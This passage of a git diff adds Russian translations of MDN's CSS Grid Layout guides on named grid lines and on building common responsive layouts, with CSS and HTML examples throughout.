+  grid-row-start: main-start;
+  grid-row-end: content-end;
+}
+
+.box3 {
+  grid-column-start: content-start;
+  grid-row-start: main-start;
+}
+
+.box4 {
+  grid-column-start: content-start;
+  grid-column-end: main-end;
+  grid-row-start: content-end;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;One&lt;/div&gt;
+  &lt;div class="box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box3"&gt;Three&lt;/div&gt;
+  &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('example_named_lines', '500', '330') }}</p>
+</div>
+
+<p>Теперь при линейном размещении вы можете смешивать номера строк или их имена. Именование строк полезно при создании адаптивного дизайна, в котором вы переопределяете саму сетку, а не положение содержимого внутри сетки.</p>
+
+<h3 id="Присвоение_линиям_нескольких_имен">Присвоение линиям нескольких имен</h3>
+
+<p>При необходимости можно присвоить строке более одного имени. Например, <code>sidebar-end</code> для обозначении конца области <code>sidebar</code>, и <code>main-start</code> для начала области <code>main</code>. Укажите имена внутри квадратных скобок через пробел <code>[sidebar-end main-start]</code>. В дальнейшем вы можете обращаться к этой строке по любому из этих имен.</p>
+
+<h2 id="Неявные_области_сетки_из_именованных_линий">Неявные области сетки из именованных линий</h2>
+
+<p>Ранее уже упоминалось, что вы можете выбирать для линий любые имена. Такое имя является <a href="https://drafts.csswg.org/css-values-4/#custom-idents">custom ident</a> - именем, определяемым автором. При выборе имени вам нужно избегать слов, которые могут использоваться в спецификации, что приведет к путанице - например, <code>span</code>. Идентификаторы не заключаются в кавычки.</p>
+
+<p>Хотя вы можете выбрать любые имена, но если вы добавляете <code>-start</code> и <code>-end</code> к линиям вокруг области, как в приведенном выше примере, то сетка создаст вам именованную область основного используемого имени. Возьмем приведенный выше пример, у меня есть <code>content-start</code> и <code>content-end</code> как для строк, так и для столбцов. Это означает, что будет создана также область сетки с именем <code>content</code>, которую можно по своему усмотрению.</p>
+
+<div id="implicit_areas_from_lines">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<p>Я использую те же определения сетки, что и выше, однако на этот раз я собираюсь поместить один элемент в содержимое <code>content</code> области.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: [main-start] 1fr [content-start] 1fr [content-end] 1fr [main-end];
+  grid-template-rows: [main-start] 100px [content-start] 100px [content-end] 100px [main-end];
+}
+.thing {
+  grid-area: content;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="thing"&gt;I am placed in an area named content.&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('implicit_areas_from_lines', '500', '330') }}</p>
+</div>
+
+<p>Нам не нужно определять, где находятся наши области с помощью <code>grid-template-areas</code> поскольку наши именованные линии создали для нас эту область.</p>
+
+<h2 id="Неявные_линии_сетки_из_именованных_областей">Неявные линии сетки из именованных областей</h2>
+
+<p>Мы видели, как с помощью именованных линий можно создать именованную область. Это работает и наоборот. Именованные области создают именованные строки, которые можно использовать для размещения элементов. Если мы возьмем макет, созданный в руководстве по областям шаблона сетки, мы можем использовать линии, созданные нашими областями, чтобы увидеть, как это работает.</p>
+
+<p>В этом примере я добавил дополнительный div с классом <code>overlay</code>. Мы назвали области, созданные с помощью свойства grid-area, а затем макет, созданный в grid-template-areas. Именованные области:</p>
+
+<ul>
+ <li><code>hd</code></li>
+ <li><code>ft</code></li>
+ <li><code>main</code></li>
+ <li><code>sd</code></li>
+</ul>
+
+<p>Строки и линии:</p>
+
+<ul>
+ <li><code>hd-start</code></li>
+ <li><code>hd-end</code></li>
+ <li><code>sd-start</code></li>
+ <li><code>sd-end</code></li>
+ <li><code>main-start</code></li>
+ <li><code>main-end</code></li>
+ <li><code>ft-start</code></li>
+ <li><code>ft-end</code></li>
+</ul>
+
+<p>Вы можете видеть именованные строки на рисунке, обратите внимание, что некоторые строки имеют двойное именование - например, <code>sd-end</code> и <code>main-start</code> относящиеся к одной и той же строке столбца.</p>
+
+<p><img alt="An image showing the implicit line names created by our grid areas." src="https://mdn.mozillademos.org/files/14699/5_multiple_lines_from_areas.png" style="height: 396px; width: 1140px;"></p>
+
+<p>Позиционировать <code>overlay</code> используя неявные именованные линии, это то же самое, что позиционировать элемент с помощью названных нами строк..</p>
+
+<div id="implicit_lines_from_area">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(9, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+  grid-template-areas:
+    "hd hd hd hd   hd   hd   hd   hd   hd"
+    "sd sd sd main main main main main main"
+    "ft ft ft ft   ft   ft   ft   ft   ft";
+}
+
+.header {
+  grid-area: hd;
+}
+
+.footer {
+  grid-area: ft;
+}
+
+.content {
+  grid-area: main;
+}
+
+.sidebar {
+  grid-area: sd;
+}
+
+.wrapper &gt; div.overlay {
+  z-index: 10;
+  grid-column: main-start / main-end;
+  grid-row: hd-start / ft-end;
+  border: 4px solid rgb(92,148,13);
+  background-color: rgba(92,148,13,.4);
+  color: rgb(92,148,13);
+  font-size: 150%;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="header"&gt;Header&lt;/div&gt;
+  &lt;div class="sidebar"&gt;Sidebar&lt;/div&gt;
+  &lt;div class="content"&gt;Content&lt;/div&gt;
+  &lt;div class="footer"&gt;Footer&lt;/div&gt;
+  &lt;div class="overlay"&gt;Overlay&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('implicit_lines_from_area', '500', '330') }}</p>
+</div>
+
+<p>Учитывая, что у нас есть возможность позиционировать создание линий из именованных областей и областей из именованных линий, стоит потратить время на планирование стратегии именования, когда вы начинаете создавать свой макет. Выбирайте имена, которые будут иметь смысл для вас и вашей команды, это облегчит использование созданных вами макетов.</p>
+
+<h2 id="Определение_одноименных_линий_при_помощи_функции_repeat">Определение одноименных линий при помощи функции repeat()</h2>
+
+<p>Если вы хотите дать всем линиям в вашей сетке уникальное имя, то вам нужно будет написать длинное определение трека, а не использовать синтаксис повтора, так как вам нужно добавить имя в квадратных скобках при определении треков. Если вы используете синтаксис повтора, то в конечном итоге получите несколько строк с одинаковым именем, однако это тоже может быть очень полезно.</p>
+
+<p>В следующем примере я создаю сетку с двенадцатью равными по ширине столбцами. Перед определением размера 1fr трека столбца я также определяю имя строки <code>[col-start]</code>. Это означает, что в конечном итоге мы получим сетку, содержащую 12 строк столбцов с именами <code>col-start</code> перед столбцом шириной <code>1fr</code> .</p>
+
+<div id="multiple_lines_same_name">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+}</pre>
+
+<p>После того, как вы создали сетку, вы можете разместить на ней элементы. Поскольку у нас есть несколько строк с именем col-start, если вы размещаете элемент после строки col-start, сетка использует самую первую строку с именем col-start, в нашем случае это будет крайняя левая строка. Чтобы обратиться к другой строке, используйте имя плюс номер для этой строки:</p>
+
+<pre class="brush: css">.item1 {
+  grid-column: col-start / col-start 5
+}
+</pre>
+
+<p>Вы можете использовать ключевое слово <code>span</code>. Следующий элемент будет расоложен начиная с седьмой линии и займет три линии.</p>
+
+<pre class="brush: css">.item2 {
+  grid-column: col-start 7 / span 3;
+}
+</pre>
+
+<p class="brush: html"></p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;I am placed from col-start line 1 to col-start 5&lt;/div&gt;
+  &lt;div class="item2"&gt;I am placed from col-start line 7 spanning 3 lines&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{ EmbedLiveSample('multiple_lines_same_name', '500', '330') }}</p>
+</div>
+
+<p>Если вы посмотрите на этот макет в Firefox Grid Highlighter вы можете увидеть, как отображаются линии столбцов и как наши элементы помещаются против этих линий..</p>
+
+<p><img alt="The 12 column grid with items placed. The Grid Highlighter shows the position of the lines." src="https://mdn.mozillademos.org/files/14695/5_named_lines1.png" style="height: 156px; width: 1958px;"></p>
+
+<p>Синтаксис повтора также может принимать трек-лист , это не просто должен быть один размер трека, который повторяется. Приведенный ниже код создаст сетку из восьми дорожек с более узким столбцом ширины 1fr с именем col1-start и более широким столбцом 3fr с именем col2-start.</p>
+
+<pre class="brush: css">.wrapper {
+  grid-template-columns: repeat(4, [col1-start] 1fr [col2-start] 3fr);
+}
+</pre>
+
+<p>Если Ваш повторяющийся синтаксис помещает две строки рядом друг с другом, то они будут объединены и создадут тот же результат, что и присвоение строке нескольких имен в неповторяющемся определении трека. Следующее определение создает четыре трека 1fr, каждый из которых имеет начальную и конечную линии.</p>
+
+<pre class="brush: css">.wrapper {
+  grid-template-columns: repeat(4, [col-start] 1fr [col-end] );
+}
+</pre>
+
+<p>Если мы запишем это определение без использования повторяющейся нотации, то оно будет выглядеть следующим образом .</p>
+
+<pre class="brush: css">.wrapper {
+  grid-template-columns: [col-start] 1fr [col-end col-start] 1fr [col-end col-start] 1fr  [col-end col-start] 1fr [col-end];
+}
+</pre>
+
+<p>Если вы использовали список треков, то вы можете использовать ключевое слово <code>span</code> не только для охвата ряда строк, но и для охвата ряда строк с определенным именем..</p>
+
+<div id="span_line_number">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(6, [col1-start] 1fr [col2-start] 3fr);
+}
+
+.item1 {
+  grid-column: col1-start / col2-start 2
+}
+
+.item2 {
+  grid-row: 2;
+  grid-column: col1-start 2 / span 2 col1-start;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;I am placed from col1-start line 1 to col2-start line 2&lt;/div&gt;
+  &lt;div class="item2"&gt;I am placed from col1-start line 2 spanning 2 lines named col1-start&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('span_line_number', '500', '330') }}</p>
+</div>
+
+<p>За последние три руководства вы обнаружили, что существует множество различных способов размещения элементов с помощью сетки. На первый взгляд это может показаться чрезмерно сложным, но помните, что вам не нужно использовать их все. На практике я нахожу, что для простых макетов хорошо работает использование именованных областей шаблонов, это дает хорошее визуальное представление о том, как выглядит ваш макет, и возможность легко перемещать элементы по сетке.</p>
+
+<p>Если вы работаете со строгим макетом из нескольких столбцов, например, демонстрация именованных строк в последней части этого руководства работает очень хорошо. Если вы рассматриваете сеточные системы, в таких фреймворках, как Foundation или Bootstrap, которые основаны на сетке из 12 столбцов. Затем фреймворк импортирует код для выполнения всех вычислений, чтобы убедиться, что столбцы складываются до 100%. С помощью Grid layout единственный код, который нам нужен для нашего грид-фреймворка, - это:</p>
+
+<div class="three_column">
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-gap: 10px;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+}
+</pre>
+
+<p>Затем мы можем использовать этот фреймворк для верстки нашей страницы. Например, чтобы создать макет из трех столбцов с верхним и нижним колонтитулами, у меня может быть следующая разметка.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; * {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;header class="main-header"&gt;I am the header&lt;/header&gt;
+  &lt;aside class="side1"&gt;I am sidebar 1&lt;/aside&gt;
+  &lt;article class="content"&gt;I am the main article&lt;/article&gt;
+  &lt;aside class="side2"&gt;I am sidebar 2&lt;/aside&gt;
+  &lt;footer class="main-footer"&gt;I am the footer&lt;/footer&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Затем я мог бы разместить это в своей структуре компоновки сетки следующим образом.</p>
+
+<pre class="brush: css">.main-header,
+.main-footer  {
+  grid-column: col-start / span 12;
+}
+
+.side1 {
+  grid-column: col-start / span 3;
+  grid-row: 2;
+}
+
+.content {
+  grid-column: col-start 4 / span 6;
+  grid-row: 2;
+}
+
+.side2 {
+  grid-column: col-start 10 / span 3;
+  grid-row: 2;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('three_column', '500', '330') }}</p>
+
+<p>Опять же , маркер сетки полезен, чтобы показать нам, как работает сетка, в которую мы поместили наши элементы.</p>
+
+<p><img alt="The layout with the grid highlighted." src="https://mdn.mozillademos.org/files/14697/5_named_lines2.png" style="height: 378px; width: 1958px;"></p>
+</div>
+
+<p>Это все, что мне нужно. Мне не нужно делать никаких вычислений, сетка автоматически удалила мою 10- пиксельную дорожку желоба, прежде чем назначить пространство для треков столбцов 1fr. Когда вы начнете создавать свои собственные макеты, вы обнаружите, что синтаксис становится более знакомым, и вы выбираете способы, которые лучше всего подходят для вас, а также тип проектов,которые вам нравятся. Попробуйте построить несколько общих шаблонов с помощью этих различных методов, и вскоре вы найдете свой самый продуктивный способ работы. В следующем руководстве мы рассмотрим, как сетка может размещать элементы для нас - без необходимости использовать свойства размещения вообще!</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ru/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html b/files/ru/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html
new file mode 100644
index 0000000000..ad8e4e9186
--- /dev/null
+++ b/files/ru/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html
@@ -0,0 +1,593 @@
+---
+title: Realizing common layouts using CSS Grid Layout
+slug: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout
+translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout
+---
+<p>Чтобы завершить набор руководств по CSS Grid Layout, я собираюсь пройтись по основным видам макетов, которые демонстрируют несколько различных методов, которые можно использовать при проектировании с помощью grid layout. Мы рассмотрим пример использования областей сетки-шаблона, типичную гибкую сеточную систему с 12 столбцами, а также список продуктов с использованием автоматического размещения. Как вы можете видеть из этого списка примеров, существует несколько способов достижения желаемого результата с помощью компоновки сетки. Выберите метод, который вы считаете наиболее полезным для решения проблем, которые вы решаете, и проектов, которые вам нужно реализовать.</p>
+
+<h2 id="Адаптивный_1-3_колоночный_макет_с_использованием_grid-template-areas"><font face="Liberation Sans, sans-serif"><font size="4">Адаптивный 1-3 колоночный макет с использованием</font></font> <code>grid-template-areas</code></h2>
+
+<p>Многие веб-сайты являются разновидностью такого типа макета, с основным содержанием, боковыми панелями, хедером и футером. В адаптивном дизайне вы можете отобразить макет в виде одного столбца, добавив боковую панель в определенном месте, а затем ввести макет из трех столбцов для более широких экранов.</p>
+
+<p><img alt="Image of the three different layouts created by redefining our grid at two breakpoints." src="https://mdn.mozillademos.org/files/14749/11-responsive-areas.png"></p>
+
+<p>Я собираюсь создать этот макет, используя именованные области шаблонов, о которых мы узнали в руководстве <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></em>.</p>
+
+<p>Моя разметка-это контейнер с элементами внутри для хедера и футера, основного контента, навигации, боковой панели и блока, в который я собираюсь поместить рекламу.</p>
+
+<div id="layout_1">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+    .wrapper {
+        max-width: 1024px;
+        margin: 0 auto;
+        font: 1.2em Helvetica, arial, sans-serif;
+    }
+
+    .wrapper &gt; * {
+        border: 2px solid #f08c00;
+        background-color: #ffec99;
+        border-radius: 5px;
+        padding: 10px;
+    }
+
+    nav ul {
+        list-style: none;
+        margin: 0;
+        padding: 0;
+    }
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+        &lt;header class="main-head"&gt;The header&lt;/header&gt;
+        &lt;nav class="main-nav"&gt;
+            &lt;ul&gt;
+                &lt;li&gt;&lt;a href=""&gt;Nav 1&lt;/a&gt;&lt;/li&gt;
+                &lt;li&gt;&lt;a href=""&gt;Nav 2&lt;/a&gt;&lt;/li&gt;
+                &lt;li&gt;&lt;a href=""&gt;Nav 3&lt;/a&gt;&lt;/li&gt;
+            &lt;/ul&gt;
+        &lt;/nav&gt;
+        &lt;article class="content"&gt;
+            &lt;h1&gt;Main article area&lt;/h1&gt;
+            &lt;p&gt;In this layout, we display the areas in source order for any screen less that 500 pixels wide. We go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.&lt;/p&gt;
+        &lt;/article&gt;
+        &lt;aside class="side"&gt;Sidebar&lt;/aside&gt;
+        &lt;div class="ad"&gt;Advertising&lt;/div&gt;
+        &lt;footer class="main-footer"&gt;The footer&lt;/footer&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Поскольку мы используем {{cssxref("grid-template-areas")}} для создания макета, вне каких-либо медиа-запросов, мне нужно назвать области. Мы называем области, используя свойство {{cssxref("grid-area")}}.</p>
+
+<pre class="brush: css">.main-head {
+  grid-area: header;
+}
+.content {
+  grid-area: content;
+}
+.main-nav {
+  grid-area: nav;
+}
+.side {
+  grid-area: sidebar;
+}
+.ad {
+  grid-area: ad;
+}
+.main-footer {
+  grid-area: footer;
+}
+</pre>
+
+<p>Это не создаст никакого макета, однако наши элементы теперь имеют имена, которые мы можем использовать для создания. Оставаясь вне каких-либо медиа-запросов, я теперь собираюсь настроить макет для мобильной платформы. Здесь я держу все в исходном порядке, пытаясь избежать любого разрыва между источником и дисплеем, как описано в руководстве <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">Grid layout and accessibility</a></em>. У меня нет столбцов или строк, т. к. такой макет предполагает один столбец, и строки будут создаваться по мере необходимости для каждого из элементов неявной сетки.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-gap: 20px;
+  grid-template-areas:
+    "header"
+    "nav"
+    "content"
+    "sidebar"
+    "ad"
+    "footer";
+}
+</pre>
+
+<p>После настройки мобильного макета мы получим единственный столбец при всех размерах экрана, теперь мы можем добавить медиа-запрос и переопределить наш макет для того обстоятельства, что у нас достаточно экранного места, чтобы разместить два столбца.</p>
+
+<pre class="brush: css">@media (min-width: 500px) {
+  .wrapper {
+    grid-template-columns: 1fr 3fr;
+    grid-template-areas:
+      "header  header"
+      "nav     nav"
+      "sidebar content"
+      "ad      footer";
+  }
+  nav ul {
+    display: flex;
+    justify-content: space-between;
+  }
+}
+</pre>
+
+<p>Вы можете видеть, как макет принимает форму в значении {{cssxref("grid-template-areas")}}. Заголовок охватывает две дорожки столбцов, как и навигационная система. В треке третьего ряда у нас есть боковая панель рядом с содержимым. В четвертой строке я решил разместить свой рекламный контент – так он появляется под боковой панелью, а затем футер, рядом с ним под контентом. Я использую flexbox в навигации, чтобы отобразить его в разнесенном ряду.</p>
+
+<p>Тепреь я могу добавить конечные точки в наш 3-х колоночный макет.</p>
+
+<pre class="brush: css">@media (min-width: 700px) {
+  .wrapper {
+    grid-template-columns: 1fr 4fr 1fr;
+    grid-template-areas:
+      "header header  header"
+      "nav    content sidebar"
+      "nav    content ad"
+      "footer footer  footer"
+   }
+   nav ul {
+     flex-direction: column;
+   }
+}
+</pre>
+
+<p>Трехколоночный макет имеет две боковые колонки размером <code>1fr</code> и среднюю колонку, размером <code>4fr</code> . Это означает, что доступное пространство в контейнере разделено на 6 ячеек и распределено пропорционально нашему макету – по одной части к боковым колонкам и по 4 части к центру.</p>
+
+<p>В этом макете я показываю навигацию в левой колонке, рядом с содержимым. В правой колонке у нас есть боковая панель, а под ней блок рекламы (ad). Футер теперь охватывает всю нижнюю часть макета. Затем я использую flexbox для отображения навигации в виде столбца.</p>
+
+<p>{{ EmbedLiveSample('layout_1', '800', '500') }}</p>
+</div>
+
+<p>Это простой пример, но он демонстрирует, как мы можем использовать grid layout для перестройки нашего макета. В частности, я изменяю расположение рекламного блока, как заложено в настройках столбцов. Этот метод очень полезен на этапе прототипирования, он легко позволяет эксперементировать с расположением элементов. Вы всегда можете использовать сетку таким образом для прототипирования, даже несмотря на особенности отражения в различных браузерах, которые показывают ваш сайт.</p>
+
+<h2 id="Гибкий_12-колоночный_макет."><font face="Liberation Sans, sans-serif"><font size="4">Гибкий 12-колоночный макет.</font></font></h2>
+
+<p>Если вы работали с фреймворками или grid системами, вам знакомо размещение сайта на гибкой сетке с 12 или 16 столбцами. Мы можем создать такой макет, используя CSS Grid Layout. В качестве простого примера я создаю гибкую сетку из 12 столбцов, которая имеет 12 линий столбцов размером 12 <code>1fr</code>-все они имеют начальную линию с именем <code>col-start</code>. Это означает, что у нас будет двенадцать линий сетки с именем <code>col-start</code>.</p>
+
+<div id="layout_2">
+<div class="hidden">
+<pre class="brush: css">.wrapper {
+  max-width: 1024px;
+  margin: 0 auto;
+  font: 1.2em Helvetica, arial, sans-serif;
+}
+.wrapper &gt; * {
+  border: 2px solid #f08c00;
+  background-color: #ffec99;
+  border-radius: 5px;
+  padding: 10px;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+  grid-gap: 20px;
+}
+</pre>
+
+<p>Чтобы продемонстрировать, как работает эта сеточная система, у меня внутри оболочки есть четыре дочерних элемента.</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Start column line 1, span 3 column tracks.&lt;/div&gt;
+  &lt;div class="item2"&gt;Start column line 6, span 4 column tracks. 2 row tracks.&lt;/div&gt;
+  &lt;div class="item3"&gt;Start row 2 column line 2, span 2 column tracks.&lt;/div&gt;
+  &lt;div class="item4"&gt;Start at column line 3, span to the end of the grid (-1).&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Затем я могу поместить их в сетку, используя именованные линии, а также ключевое слово span.</p>
+
+<pre class="brush: css">.item1 {
+  grid-column: col-start / span 3;
+}
+.item2 {
+  grid-column: col-start 6 / span 4 ;
+  grid-row: 1 / 3;
+}
+.item3 {
+  grid-column: col-start 2 / span 2;
+  grid-row: 2;
+}
+.item4 {
+  grid-column: col-start 3 / -1;
+  grid-row: 3;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('layout_2', '800', '400') }}</p>
+</div>
+
+<p>Как описано в руководстве по именованным строкам, мы используем именованную строку для размещения нашего элемента. Поскольку у нас есть 12 строк с одинаковым именем, мы используем имя, а затем индекс строки. Вы также можете использовать только индекс строки, если избегаете использования именованных строк.</p>
+
+<p>Вместо того чтобы устанавливать номер конечной строки, я решил указать, сколько треков должен охватить этот элемент, используя ключевое слово span. Мне нравится этот подход, поскольку при работе с системой макета с несколькими столбцами мы обычно думаем о блоках с точки зрения количества треков сетки, которые они охватывают, и в зависимости от этого корректируем. Чтобы увидеть, как блоки выравниваются по трекам, используйте инспектор сетки <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox Grid Inspector</a>. Он наглядно демонстрирует, как расположены наши предметы.</p>
+
+<p><img alt="Showing the items placed on the grid with grid tracks highlighted." src="https://mdn.mozillademos.org/files/14753/11-grid-inspector-12col.png"></p>
+
+<p>Существуют некоторые ключевые различия в том, как макет сетки работает над сеточными системами, которые вы, возможно, использовали ранее. Как вы можете видеть, нам не нужно добавлять какую-либо разметку для создания строки, сеточные системы должны сделать это, чтобы остановить элементы, появляющиеся в строке выше. С помощью CSS Grid Layout мы можем размещать элементы в строки, не опасаясь, что они поднимутся в строку выше, если она останется пустой. Благодаря этому строгому размещению столбцов и строк мы также можем легко оставить пустое пространство в нашем макете. Нам также не нужны специальные классы, чтобы тянуть или толкать элементы, чтобы вдавливать их в сетку. Все, что нам нужно сделать, это указать начальную и конечную строку для элемента.</p>
+
+<h3 id="Построение_макета_с_использованием_12-столбцовой_системы"><font face="Liberation Sans, sans-serif"><font size="4">Построение макета с использованием 12-столбцовой системы</font></font></h3>
+
